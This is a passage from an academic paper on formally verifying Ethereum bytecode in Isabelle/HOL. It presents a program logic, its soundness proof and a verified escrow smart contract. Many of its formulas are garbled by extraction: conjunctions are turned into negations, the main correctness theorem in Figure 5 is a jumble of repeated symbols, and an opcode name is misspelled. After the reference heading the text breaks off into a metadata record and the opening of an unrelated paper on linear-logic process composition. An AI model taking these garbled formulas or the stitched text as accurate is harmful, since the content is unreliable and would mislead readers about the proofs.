The following rule for \text{PUSH1}, the operation pushing one byte on the stack, is quite representative as it shows how we specify the necessary conditions for the instruction to be performed by the EVM in the precondition, as well as the effect of the operation on state elements in the postcondition:
\[
\frac{\langle P \rangle \; \text{blocks} \; \langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, \text{PUSH1} \ x \rangle \; \langle Q \rangle}
\]
where \( P \) stands for
\[
\langle h \leq 1023 \land g \geq 3 \rangle \land \text{continuing} \land \text{gas-pred} \land R
\]
and \( Q \) for
\[
\langle h \leq 1023 \land g \geq 3 \rangle \land \text{continuing} \land \text{gas-pred} \land F
\]
respectively.
continuing $\land^* \text{gas-pred} \ (g - 3) \land^*$
$\text{pc} \ (n + 2) \land^* \text{stack-height} \ (h + 1) \land^* \text{stack} \ x \ \land^* F$
In particular, we have stated that the height of the stack increases by 1 ($\text{stack-height} \ (h + 1)$) and that the top index $h$ of the stack points to the value $x$ ($\text{stack} \ x$) among the effects of PUSH1. As the size of the instruction including the byte to push is 2 bytes, the program counter increases by 2. It is also worth noting that we incorporate frames into such instruction-specific rules by carrying a variable $F$ in pre- and postconditions, as shown above. This is in contrast to the more common way, which is introducing a generic frame rule (cf. [19]) of the form
$$\frac{P \Rightarrow P'}{Q' \Rightarrow Q} \quad (i)$$
$$\frac{r_{\text{instr}} \ [P] \ i [Q']}{r_{\text{instr}} \ [P \land^* F] \ i [Q \land^* F]} \quad (ii)$$
The rule (i) is the usual ‘consequence’ rule, allowing us to adjust pre- and postconditions, whereas (ii) is needed to discharge trivial proof obligations having unsatisfiable preconditions. Such obligations arise frequently from conditional jumps (rule (iv), Section 4.2) where the condition is fully evaluated prior to the actual jump, such that we need to follow only one of the emerging branches.
The following section puts the program logic and the results of Section 3 together by means of a soundness property and outlines its proof.
5 Soundness
As our program logic is separated in three layers, we establish its soundness in three steps.
At the level of instructions, amounts to the property
$$\frac{r_{\text{instr}} \ [P] \ x [Q]}{(P \land^* \text{code}([x]) \land^* F) \ s} \quad \frac{(Q \land^* \text{code}([x]) \land^* F) \ next(s)}{(Q \land^* \text{code}([x]) \land^* F) \ next^{\#}(s)} \quad (1)$$
which we prove by structural induction on $r_{\text{instr}} \ [P] \ x [Q]$. By this, we need to show that the pre- and postconditions, as specified in each rule for individual instructions, are indeed covered by the behaviour of the respective instruction. Note that $\text{code}([x])$ ensures that $x = (\text{addr}, \text{instr})$ is present in the code-element of $s$, such that $next$ executes precisely the instruction $\text{instr}$, if $pc \ \text{addr}$ is present in $s$ as well. This, in turn, is obtained from the preconditions of instruction rules, such as the PUSH1-rule from the previous section.
Next, at the level of blocks we show
$$\frac{r_{\text{block}} \ [P] \ x [Q]}{(P \land^* \text{code}([x]) \land^* F) \ s} \quad \frac{(Q \land^* \text{code}([x]) \land^* F) \ next^{\#}(s)}{(Q \land^* \text{code}([x]) \land^* F) \ next(s)} \quad (2)$$
where the usage of $\text{next}^{\#}(s)$ is justified, since we consider a basic block $xs$ which requires precisely $|xs|$ steps to be processed completely. By induction on $r_{\text{block}} \ [P] \ x [Q]$ we need to consider the cases when $xs$ is non-empty or empty. In case $xs = x :: zs$ we can assume $r_{\text{instr}} \ [P] \ x [R]$ and $r_{\text{block}} \ [R] \ zs [Q]$ such that
$$\frac{(R \land^* \text{code}([zs]) \land^* F) \ s} {(Q \land^* \text{code}([zs]) \land^* F) \ next^{\#}(s)}$$
holds by the induction hypothesis. Furthermore, from (1) and $r_{\text{instr}} \ [P] \ x [R]$ we can further conclude
$$\frac{(P \land^* \text{code}([x]) \land^* F) \ s} {(R \land^* \text{code}([x]) \land^* F) \ next(s)}$$
which combined establish (2). Thereby we also make use of the equality
$$\text{code}([x] :: zs) = \text{code}([x]) \land^* \text{code}(zs)$$
which holds since $x = (\text{addr}, \text{instr})$ does not occur in $zs$ due to the unique $\text{addr}$.
Next, in case $xs$ is empty, we can assume $P \Rightarrow Q$ which immediately gives us (2).
The ultimate soundness statement is at the program level:
$$\frac{\text{build-blocks} \ c \ r_{\text{prog}} \ [P] \ \text{first-block} [Q]}{0 < |c| < 2^{256}}$$
$$\frac{[P] \ c [Q]}{\models [P] \ c [Q]} \quad (3)$$
where $\text{first-block}$ is a shorthand for the block with the smallest index in $\text{build-blocks} \ c$, and the assumption $0 < |c| < 2^{256}$ is necessary to avoid dealing with empty programs as well as programs with more than $2^{256}$ instructions (imposed by the design of EVM). In other words, in order to establish an input/output property specified by $\models [P] \ c [Q]$, we can transform $c$ into its basic blocks $bs$, pick the first block $b$ from $bs$, and apply the rules of our program logic to derive
$$bs \ r_{\text{prog}} \ [P] \ b [Q]$$
However, in order to show (3) we need some preparations to be able to apply structural induction on the program logic rules. To this end we deploy our function $\text{connect-blocks}$ and state the proposition
$$bs \ r_{\text{prog}} \ [P] \ b [Q] \quad b \in bs$$
$$\text{wf-blocks} \ bs$$
$$\models [P] \ \text{connect-blocks} \ bs [Q] \quad (4)$$
Towards Verifying Ethereum Smart Contract Bytecode in ...
where $wf$-blocks is our well-formedness predicate capturing all necessary technical details about block structure, essentially retaining the property
$$0 < |c| < 2^{256}$$
$wf$-blocks(build-blocks $c$)
for any program $c$.
Thus, the proposition (4) is a generalisation of (3), since for any $c$ we can instantiate $bs$ by build-blocks $c$ and $b$ by first-block in (4), and use the identity
$$connect-blocks(build-blocks c) = c$$
from Section 4.1, to obtain (3).
Unfolding the definition of $=[P]$ connect-blocks $bs$ $[Q]$ in (4) we further obtain
$$bs \; r_{prog} \; [P] \; b \; [Q]$$
$$b \in bs$$
$$wf$$-blocks $bs$$
$$\frac{\neg ((P \land \neg \text{code}(connect-blocks bs) \land \neg \text{F}) s)}{(Q \land \neg \text{code}(connect-blocks bs) \land \neg \text{F}) \; \text{next}_p(s)}$$
(5)
and can proceed by induction on $bs \; r_{prog} \; [P]b[Q]$. By this, we have to consider four cases: one for each type of the block $b$. So, for instance, if $b = (n, xs, \text{Terminal})$, i.e. a terminal block, we have $r_{block} \; [P] \; xs \; [Q]$. Since $b$ is a part of the block list $bs$ by assumption, we can separate some $bs'$ such that
$$\frac{\neg ((P \land \neg \text{code}(connect-blocks bs) \land \neg \text{F}) s = (P \land \neg \text{code}(xs) \land \neg \text{code}(connect-blocks bs') \land \neg \text{F}) s)}{\text{next}_p(s)}$$
Hence, we can instantiate frame $F$ in (2) by
$$\text{code}(connect-blocks bs') \land \neg \text{F}$$
and consequently obtain
$$\frac{\neg (Q \land \neg \text{code}(connect-blocks bs) \land \neg \text{F}) \; \text{next}_{[\xi]}(s)}{(Q \land \neg \text{code}(connect-blocks bs') \land \neg \text{F}) \; \text{next}_{[\xi]}(s)}$$
As we consider a terminal block, the state $\text{next}_{[\xi]}(s)$ is the first one containing the not-continuing element, i.e.
$$\text{next}_{[\xi]}(s) = \text{next}_p(s)$$
holds, concluding this case.
Although slightly more involved, the proof of the remaining three cases follows the same principles, making however additional use of the induction hypothesis.
6 Case Study
Our development provides the ground work for full functional correctness of Ethereum smart contracts. These contracts are typically implemented in a high-level language called Solidity. In this case study, we demonstrate the practicality of our framework by formally specifying and verifying properties of the bytecode generated by Solidity compiler from an escrow agreement smart contract. Section 6.1 describes the design and implementation of the contract; Section 6.2, its specification; Section 6.3, its verification; and Section 6.4, the machinery we developed to maximise proof automation.
6.1 Design and Implementation
We designed an escrow agreement smart contract for the Ethereum blockchain. In our scenario, a buyer wants to purchase a good from a seller, but there is no particular reason to assume that they trust each other. To this end both parties rely on an escrow agent: an arbiter they both trust. In this agreement, the arbiter creates the contract specifying the expected amount of Ether (the Ethereum cryptocurrency), waits for the buyer to transfer the money to the contract and decides whether to pay the seller or refund the buyer. Apart from the arbiter’s decision to pay or to refund, the purchase process is governed by the smart contract.
```
1 contract Escrow {
2 address buyer;
3 address seller;
4 address arbiter;
5 uint256 amount;
6
7 function Escrow(address _buyer,
8 address _seller,
9 uint256 _amount) {
10 require (amount > 0);
11 buyer = _buyer;
12 seller = _seller;
13 arbiter = msg.sender;
14 amount = _amount;
15 }
16
17 function addfund() payable public {
18 require (amount > 0 &&
19 msg.value == amount &&
20 msg.sender == buyer);
21 amount = 0;
22 }
23
24 function refund() public {
25 require (amount == 0 &&
26 msg.sender == arbiter);
27 selfdestruct(buyer);
28 }
29
30 function pay() public {
31 require (amount == 0 &&
32 msg.sender == arbiter);
33 selfdestruct(seller);
34 }
35 }
```
Figure 3. Escrow smart contract allowing an arbiter to clear a transaction between two parties.
Figure 3 shows our implementation of the contract. In Solidity, the functionality of a smart contract is encapsulated...
into a contract interface which has a well-defined interface with public and private elements, similarly to a class in object-oriented programming (OOP). Creating a contract on the blockchain instantiates the contract interface. Just like class instantiations in OOP, contracts are stateful objects where storage variables are stored on the blockchain.
Every variable declared as a member of a contract interface is a storage variable, and hence persists across multiple invocations of the contract. Lines 2–5 in Figure 3 declare variables carrying blockchain addresses of the three parties involved in the agreement, as well as amount that serves two purposes. It not only stores the amount of Ether for the purchase, but is also used to enforce the order in which the contract operations can be invoked.
The constructor part (lines 7–14) is run by the Ethereum platform to initialise the contract when it gets deployed. The environment variable msg carries the information about the Ethereum transaction that led to a contract deployment, including the address of the account that sent the transaction (msg.sender). Solidity’s built-in function require throws an exception if the specified condition evaluates to false. In this case, only the amount of gas consumed so far is retained; the rest of the transaction is rolled back.
We use require (line 10) to ensure that the arbiter creates an escrow agreement with amount greater than zero. This condition is critical because addfund (line 21) expects amount to be strictly positive, before setting it to zero. This way we guarantee that the buyer can only add fund to the contract once. Note that msg.value is an environment variable, telling us how much Ether has been transferred as part of the transaction.
Further, addfund is annotated as payable, which indicates that this function is allowed to be invoked by an Ethereum transaction along with a non-zero amount of Ether. By default, all contract functions are not payable in order to prevent accidental loss of Ether.
According to the require-clause on line 20, only the buyer shall be able to successfully invoke addfund. To this end, the exact amount of Ether (as specified by the arbiter) must be transferred along with the invocation. Similarly, only the arbiter is entitled to successfully invoke the functions refund (lines 25–27) and pay (lines 31–33). Moreover, in both cases amount is required to be zero, i.e. the buyer must already have placed the funds in the contract. Both functions make use of the EVM selfdestruct mechanism, which transfers the totality of the funds held by the contract to the address passed as argument, and subsequently destroys the contract. Note that the amount transferred by selfdestruct corresponds to the balance of the contract stored in the Ethereum global state, which in our case is just the amount specified by the arbiter during contract construction.
The keyword public is used in the contract to indicate that the respective function must be exported in the contract interface, thus becoming accessible to the users. For the compiler this means adding the function to the abstract binary interface (ABI) and generating dispatch code to jump to this function within bytecode using the hash value, obtained from its signature. Since dispatch code is added by the compiler, it is only visible at the bytecode level. Hence, verifying contract’s bytecode implicitly means verifying the contract’s dispatcher as well. As shown in the following section, in order to specify the behaviour of our contract, we compare the input hash to addfund_hash, refund_hash and pay_hash, and, in particular, require a safe behaviour in cases when the input hash does not match any of these three hash values.
### 6.2 Specification
**definition**
spec_Escrow :: [address, address, address, address, 256 word, 32 word, 256 word] ⇒ contract_action
where
spec_Escrow sender buyer seller arbiter amount hash value =
(if hash = addfund_hash ∧ sender = buyer ∧
value = amount ∧ amount > 0 then
ContractReturn []
else if hash = refund_hash ∧
sender = arbiter ∧ value = 0 ∧
amount = 0 then
ContractSuicide buyer
else if hash = pay_hash ∧ sender = arbiter ∧
value = 0 ∧ amount = 0 then
ContractSuicide seller
else
ContractFail [ShouldNotHappen])
**definition**
spec_amount :: [address, address, address, 256 word, 32 word, 256 word] ⇒ 256 word
spec_amount sender buyer seller amount hash value =
(if hash = addfund_hash ∧ sender = buyer ∧
value = amount ∧ amount > 0 then
0
else
amount)
**Figure 4.** Functional specification of the Escrow smart contract.
Figure 4 and Figure 5 show our handwritten specification of Escrow and the functional correctness theorem we proved in Isabelle/HOL. The spec_Escrow definition is used in the main theorem to specify the return values expected by the contract. The arguments have the same names as the storage variables or the environment variables they carry the value
Towards Verifying Ethereum Smart Contract Bytecode in ...
for, except for \texttt{hash} which corresponds to the first 32-bit word of the input passed as an argument to the bytecode. Note, that the actual hash values, denoted by the constants \texttt{addfund_hash}, \texttt{pay_hash} and \texttt{refund_hash}, are obtained from the ABI information generated by the Solidity compiler. More precisely, \texttt{spec_Escrow} requires that
(i) \texttt{addfund} is only successful if it is called by the buyer who must simultaneously transfer the amount of Ether specified by the arbiter;
(ii) \texttt{refund} triggers the self-destruct mechanism, that transfers the totality of the funds to the buyer, only if called by the arbiter with \texttt{amount} = 0;
(iii) \texttt{pay} behaves in the same way, except sending the funds to the seller;
(iv) any other input leads to a failure of the contract, cancelling the transaction.
In addition to specifying the return action of the contract, we also want to ensure that \texttt{addfund} can only be called once. This is done with the \texttt{spec_amount} definition which is used in the main theorem to specify the value of the \texttt{amount} storage variable after an invocation of the contract. It states that when the precondition of \texttt{addfund} to return successfully is met, \texttt{amount} is set to zero, thus disabling that precondition.
As a result, invocations of \texttt{pay} and \texttt{refund} become enabled and of \texttt{addfund} — disabled.
\textbf{Theorem} verify_escrow: \[ \exists r. \mathcal{P} \mathcal{C} \mathcal{P} \texttt{pc} 0 \mathcal{S} \mathcal{S} \mathcal{S} \mathcal{S} \texttt{stack_height} 0 \mathcal{S} \mathcal{S} \texttt{sent_data} (\texttt{word_rsplit} \texttt{hash}) \mathcal{S} \mathcal{S} \texttt{sent_value} \mathcal{V} \mathcal{S} \mathcal{S} \texttt{caller} \mathcal{S} \mathcal{S} \mathcal{S} \texttt{sender} \mathcal{S} \mathcal{S} \texttt{memory_usage} 0 \mathcal{S} \mathcal{S} \texttt{continuing} \mathcal{S} \mathcal{S} \texttt{gas} \mathcal{S} \mathcal{S} \texttt{pred} 40000 \mathcal{S} \mathcal{S} \texttt{storage} 0 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{buyer} \mathcal{S} \mathcal{S} \texttt{storage} 1 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{seller} \mathcal{S} \mathcal{S} \texttt{storage} 2 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{arbiter} \mathcal{S} \mathcal{S} \texttt{storage} 3 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{amount} \mathcal{S} \mathcal{S} \texttt{r} \mathcal{S} \mathcal{S} \texttt{(build_blocks} \mathcal{S} \mathcal{S} \texttt{bytecode_Escrow}) \mathcal{S} \mathcal{S} \texttt{[action} \mathcal{S} \mathcal{S} \texttt{spec_escrow} \mathcal{S} \mathcal{S} \texttt{sender} \mathcal{S} \mathcal{S} \texttt{buyer} \mathcal{S} \mathcal{S} \texttt{seller} \mathcal{S} \mathcal{S} \texttt{arbiter} \mathcal{S} \mathcal{S} \texttt{amount} \mathcal{S} \mathcal{S} \texttt{hash} \mathcal{V} \mathcal{S} \mathcal{S} \mathcal{S} \texttt{continuing} \mathcal{S} \mathcal{S} \texttt{gas} \mathcal{S} \mathcal{S} \texttt{pred} 40000 \mathcal{S} \mathcal{S} \texttt{storage} 0 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{buyer} \mathcal{S} \mathcal{S} \texttt{storage} 1 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{seller} \mathcal{S} \mathcal{S} \texttt{storage} 2 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{arbiter} \mathcal{S} \mathcal{S} \texttt{storage} 3 \mathcal{S} \mathcal{S} \texttt{ucast} \mathcal{S} \mathcal{S} \texttt{amount} \mathcal{S} \mathcal{S} \texttt{r} \mathcal{S} \mathcal{S} \texttt{]} \]
\textbf{Figure 5.} The correctness statement in our program logic.
Now, the main theorem, shown in Figure 5, states the overall input/output property we proved. It has the form of Hoare triples introduced in Section 3. The precondition initialises the machine state, e.g. program counter is 0, stack is empty, etc. Importantly, \texttt{hash} is the 32-bit word contract argument used by the dispatcher code as well as the specification. We convert it into a string of bytes to form the input data of the contract using \texttt{word_rsplit}. Further, \texttt{gas_pred} sets a gas budget, sufficient for invoking any of the functions, whereas \texttt{storage} binds storage entries to the free variables \texttt{buyer}, \texttt{seller}, \texttt{arbiter} and \texttt{amount}. Using \texttt{ucast} we convert 160-bit words, representing Ethereum addresses, into the storage unit, i.e. 256-bit word. The constant \texttt{bytecode_Escrow} denotes the actual bytecode of the contract, which we convert into a list of basic blocks with \texttt{build-blocks}.
Finally, in the postcondition we specify that
(i) the resulting action complies with \texttt{spec_Escrow};
(ii) the storage variables \texttt{buyer}, \texttt{seller}, and \texttt{arbiter} contain the same values as in the input state;
(iii) the storage variable \texttt{amount} contains the value specified by \texttt{spec_amount};
whereas the rest of the output state \texttt{r} remains unspecified.
\subsection{6.3 Verification}
Smart contract bytecode is divided into two sections: the pre-loader and the runtime code. The pre-loader bootstraps the contract by deploying it on the Ethereum network and running its constructor. The runtime code only contains the core functionality of the contract that can be invoked by other blockchain agents. Our verification considers only the runtime code of \texttt{Escrow}, thus excluding the contract’s constructor.
We obtain the runtime code as a byte string of hexadecimal opcodes from the Solidity compiler and convert it into a list of EVM instructions via an Isabelle/HOL function. In this sense we work directly on the bytecode output of the Solidity compiler.
In this case, \texttt{bytecode_Escrow} comprises 191 EVM instructions that are split into 45 basic blocks, including 12 of type \texttt{Jumpi} (i.e. conditional jumps), 23 \texttt{Terminal}, 6 \texttt{Next} and 4 \texttt{Jump}. Once the automation support, described in the next section, reached maturity, proving correctness of the bytecode was a rather routine task.
Some creativity was required to handle all of the cases where the contract ends with an exception. The existentially bounded variable in the postcondition of our correctness statement means that we have to provide a witness for the unspecified part of the state. The witness is automatically constructed by running our proof automation tactics. However, for this to work the existentially bounded variable must remain unspecified until we reach a \texttt{Terminal} basic block. Then the rule for a \texttt{Terminal} block instantiates the variable by a concrete value. In order to ensure that each execution path can make its own instantiation, we manually distinguish each case in the proof.
Furthermore, a difficult proof arose when parsing the contract input data in order to extract the argument passed to the dispatcher. This involved dealing with operations on
words of different size, which is notoriously hard. In particular, the instruction CALLDATACLASSLOAD reads a 256-bit machine word from the input data array. Since the hash value passed in the input data is only a 32-bit word, the dispatcher does the following word arithmetic to convert the value
\[ \text{w32-hash} = (\text{w256-input-data} \gg 224) \& 0xffffffff \]
With the help of Isabelle’s machine word library [2], we proved that when the hash is packed in the input data, the bit-wise operations above return the same hash value.
The total development of our framework is \(\approx6000\) lines of Isabelle/HOL theories, excluding the existing formalisation of EVM model, etc. The size of the top-level specification of Escrow is \(\approx30\) lines and the functional correctness proof of the contract is \(\approx40\) lines of proof, specific to this example, which compares favourably with the \(\approx500\) lines of reusable proof automation machinery we developed. We describe this automation next.
6.4 Automation

When reasoning about bytecode, even the verification of small contracts can involve long, tedious and repetitive proofs. Hence, our program logic was purposefully designed to be amenable to proof automation.
The inductively defined inference rules, presented in Section 4, are designed to be used in a syntax-driven verification condition generator (VCG). Shaping the rules in a way that the conclusion of at most one of them can match the subgoal at each point in the proof makes it easy to write a VCG that just tries applying all of the rules one after another. This tactic can be implemented with a few lines of Eisbach [13] – Isabelle/HOL’s high-level tactic language. We developed a VCG for each level of our program logic. For instance, the program-level tactic is shown in Figure 6, where e.g. \(\text{prog_jump_vcg}\) is another tactic applying the Jumpi-rule (iv) in Section 4.2 and solving its resulting subgoals by means of more specific tactics we designed.
That is, \(\text{prog_vcg}\) in Figure 6 tries each of the tactics, separated by the | symbol on the right-hand side, whereas the + sign at the end means that it will do so repetitively until none of these tactics is applicable. Clearly, this stage will eventually be reached in absence of loops, whereas the gas consumption argument (cf. Section 3) could be applied to achieve termination of the VCG otherwise.
A common source of friction we experienced during the early development phase of our framework was with proving goals of the form: \(\forall s. R s \rightarrow P s\) where \(P\) and \(R\) are separation logic predicates comprising the same separation conjunctions but in different orders. Such proof obligations arise when we weaken a precondition to be able to apply an \(\tau_{\text{instr}}\) rule. Since each \(\tau_{\text{instr}}\) rule expects a separation logic expression with conjunctions in a specific order, we routinely have to re-order these to match a given precondition.
To ease the pain, we reuse the separation logic algebra framework [9], which provides a set of generic Isabelle tactics to manipulate separation logic terms. We instantiated the algebra with the EVM machine state and created Isabelle tactics which try to re-order separation conjunctions such that the first term in \(P\) matches the first one of \(R\). Once the first elements match, we leverage the tactics of the separation algebra framework to remove these from both \(R\) and \(P\). Thereby we additionally might have to re-order terms in \(P\) in such way that the variables in \(R\) get instantiated in the correct order.
7 Related Work
As a consequence of the repeated exploitation of security flaws in smart contracts, a notable amount of approaches and tools have already been proposed (e.g. [1, 3, 12]).
The major trend is to apply various kinds of static analysis not only at the level of structured contract languages (e.g. Solidity’s Why3 backend [4, 18]) but also at the bytecode level [1, 12, 20]. The obvious advantage of static analysis approaches is that full automation can be achieved for contract properties that can be confirmed statically, e.g. certain orders of transactions [1]. The tools Oyente [12] and Porosity [20] decompile bytecode into a control flow graph and perform control flow analysis to make common smart contract security defects such as reentrancy bugs. These tools are of great value when added to the development process so they can unveil mistakes in early stages, but they do not prove functional correctness.
Our approach is more general as we aim to specify and verify contract properties in pre/postcondition style where the conditions can comprise any higher-order logic formula describing an EVM state. For that reason, the degree of automation is limited in our case such that the user will need to interact with the proof system to discharge elaborated claims.
Bhargavan et al. [3] proposed a technique using an intermediate functional language called \(F^*\), which is more amenable to verification. It provides not only translation of a subset of Solidity programs to \(F^*\), but also decompilation of EVM bytecode to \(F^*\) as well. This use of decompilation makes the approach similar to ours, since our program logic, in fact, resembles decompilation. As explained in Section 4, we split bytecode program into blocks without jumps and determine the actual jump destinations dynamically ‘on-the-fly’, by applying logic rules. By contrast, Bhargavan et al. perform static stack analysis to this end. However, a more striking difference is that our approach is homogeneous since...
every step of our verification process is performed and justified within a single, trusted logical framework without any translations to or from other formalisms. Such translations must be either assumed to behave correctly in some sense or formally modelled and verified, whereas we aimed to avoid both of these options.
KEVM [7] is a formal semantics of the EVM written using the K-framework. Like the formalisation in Lem [8] we use, KEVM is executable and therefore can run the Ethereum foundation’s validation test suite. Reasoning about KEVM programs involves specifying properties in Reachability Logic and verifying them with a separate analysis tool. As explained earlier, we preferred the option of working in a single trusted logical framework.
8 Conclusions and Future Work
In this paper we have presented our approach to the verification of Ethereum smart contracts at the level of EVM bytecode. Building strictly on the thoroughly validated formal EVM model [8] in Isabelle/HOL, we have augmented it using the fact that EVM gas consumption allows us to state properties of contracts in pre/postcondition style with all termination considerations discharged. Further, we have outlined how we split contracts into a structure of basic blocks as well as how a sound program logic proceeds from such blocks down to the level of instructions. The presented case study has demonstrated the applicability of our program logic to real bytecode, verifying an escrow agreement smart contract implemented in Solidity. Moreover, the case study outlined how we use Isabelle tactics to automate large parts of verification condition generation process.
To further foster formal verification of Ethereum smart contracts, we could restore more of Solidity’s control structures as well as function calls. For instance, restoring loops would require using heuristics to detect them and the program logic would be proved sound only for the subset of EVM bytecode accepted by this heuristic. Similarly detecting function calls in EVM bytecode requires complex stack analysis because the EVM provides no support for calling subroutines and for stack unwinding. Thus, heuristics must be used to distinguish call sites and stack unwinding from other stack-manipulating instructions. However, the proposed [6] is currently being discussed, and suggests adding static jumps as well as instructions to call and return from sub-routines (internal functions) to the EVM instruction set. If implemented, it would greatly facilitate decompilation and reasoning about EVM bytecode, as most of the aforementioned issues would go away.
As mentioned in Section 4.4, our framework currently does not support reasoning about inter-contract message calls, i.e. contracts making use of instructions such as CALL or DELEGATECALL. That is, when a contract A makes a message call to another contract B then the execution of A terminates in our formal model with a ContractCall action. Hence, within our program logic we can only prove properties about the local state of A right before it calls B. To reason further about such interactions, the Ethereum global state must be modelled separately to capture the behaviour of B. For example, Hirai [8] has extended his framework, on which ours is based, to formally verify that a smart contract throws an exception if it is subject to a reentrant invocation (B attempts to call A). As future work, we could imagine an EVM formalisation parameterised by a contract environment which directly invokes the target contract when a message call occurs.
Another promising avenue for research are verified compilers [10, 11, 17]. We believe that the Ethereum community would benefit from a provably sound structured programming abstraction. Our work may also be used in verification of the final phase of such compilers.
Acknowledgments
We would like to thank Yoichi Hirai, Peter Höfner, Corey Lewis, Guillaume Vizier and Paul Rimba for all comments and suggestions.
References
|
{"Source-Url": "http://ts.data61.csiro.au/publications/csiro_full_text//Amani_BSB_18.pdf", "len_cl100k_base": 13681, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 47537, "total-output-tokens": 15963, "length": "2e13", "weborganizer": {"__label__adult": 0.0004422664642333984, "__label__art_design": 0.0002605915069580078, "__label__crime_law": 0.0004854202270507813, "__label__education_jobs": 0.0004279613494873047, "__label__entertainment": 5.59687614440918e-05, "__label__fashion_beauty": 0.00017881393432617188, "__label__finance_business": 0.0005407333374023438, "__label__food_dining": 0.00042819976806640625, "__label__games": 0.0006036758422851562, "__label__hardware": 0.001251220703125, "__label__health": 0.0007262229919433594, "__label__history": 0.00023186206817626953, "__label__home_hobbies": 0.00011402368545532228, "__label__industrial": 0.0005826950073242188, "__label__literature": 0.00021719932556152344, "__label__politics": 0.00037384033203125, "__label__religion": 0.0004792213439941406, "__label__science_tech": 0.031494140625, "__label__social_life": 7.581710815429688e-05, "__label__software": 0.004791259765625, "__label__software_dev": 0.955078125, "__label__sports_fitness": 0.0003643035888671875, "__label__transportation": 0.000743865966796875, "__label__travel": 0.00021696090698242188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 58869, 0.03954]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 58869, 0.43738]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 58869, 0.85789]], "google_gemma-3-12b-it_contains_pii": [[0, 3602, false], [3602, 8256, null], [8256, 13949, null], [13949, 18894, null], [18894, 23388, null], [23388, 28294, null], [28294, 32852, null], [32852, 37807, null], [37807, 44954, null], [44954, 50669, null], [50669, 56618, null], [56618, 58869, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3602, true], [3602, 8256, null], [8256, 13949, null], [13949, 18894, null], [18894, 23388, null], [23388, 28294, null], [28294, 32852, null], [32852, 37807, null], [37807, 44954, null], [44954, 50669, null], [50669, 56618, null], [56618, 58869, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 58869, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 58869, null]], "pdf_page_numbers": [[0, 3602, 1], [3602, 8256, 2], [8256, 13949, 3], [13949, 18894, 4], [18894, 23388, 5], [23388, 28294, 6], [28294, 32852, 7], [32852, 37807, 8], [37807, 44954, 9], [44954, 50669, 10], [50669, 56618, 11], [56618, 58869, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 58869, 0.04021]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
c82e43506dd8be5e0dae6b15913edd64a969f881
|
Correct-by-construction Process Composition Using Classical Linear Logic Inference
Citation for published version:
Link:
Link to publication record in Edinburgh Research Explorer
Document Version:
Peer reviewed version
Published In:
28th International Symposium on Logic-Based Program Synthesis and Transformation
General rights
Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights.
Take down policy
The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim.
Correct-by-construction Process Composition Using Classical Linear Logic Inference
Petros Papapanagiotou\textsuperscript{1} and Jacques Fleuriot\textsuperscript{1}
School of Informatics, University of Edinburgh
10 Crichton Street, Edinburgh EH8 9AB, United Kingdom
\{ppapapan, jdf\}@inf.ed.ac.uk
Abstract. The need for rigorous process composition is encountered in many situations pertaining to the development and analysis of complex systems. We discuss the use of Classical Linear Logic (CLL) for correct-by-construction resource-based process composition, with guaranteed deadlock freedom, systematic resource accounting, and concurrent execution. We introduce algorithms to automate the necessary inference steps for binary compositions of processes in parallel, conditionally, and in sequence. We combine decision procedures and heuristics to achieve intuitive and practically useful compositions in an applied setting.
Keywords: process modelling, composition, correct by construction, workflow, linear logic
1 Introduction
The ideas behind process modelling and composition are common across a variety of domains, including program synthesis, software architecture, multi-agent systems, web services, and business processes. Although the concept of a “process” takes a variety of names – such as agent, role, action, activity, and service – across these domains, in essence, it always captures the idea of an abstract, functional unit. Process composition then involves the combination and connection of these units to create systems that can perform more complex tasks. We typically call the resulting model a (process) workflow. Viewed from this standpoint, resource-based process composition then captures a structured model of the resource flow across the components, focusing on the resources that are created, consumed, or passed from one process to another within the system.
Workflows have proven useful tools for the design and implementation of complex systems by providing a balance between an intuitive abstract model, typically in diagrammatic form, and a concrete implementation through process automation. Evidence can be found, for example, in the modelling of clinical care pathways where workflows can be both understandable by healthcare stakeholders and yet remain amenable to formal analysis [10,15].
A scalable approach towards establishing trust in the correctness of the modelled system is that of correct-by-construction engineering [12,20]. In general, this
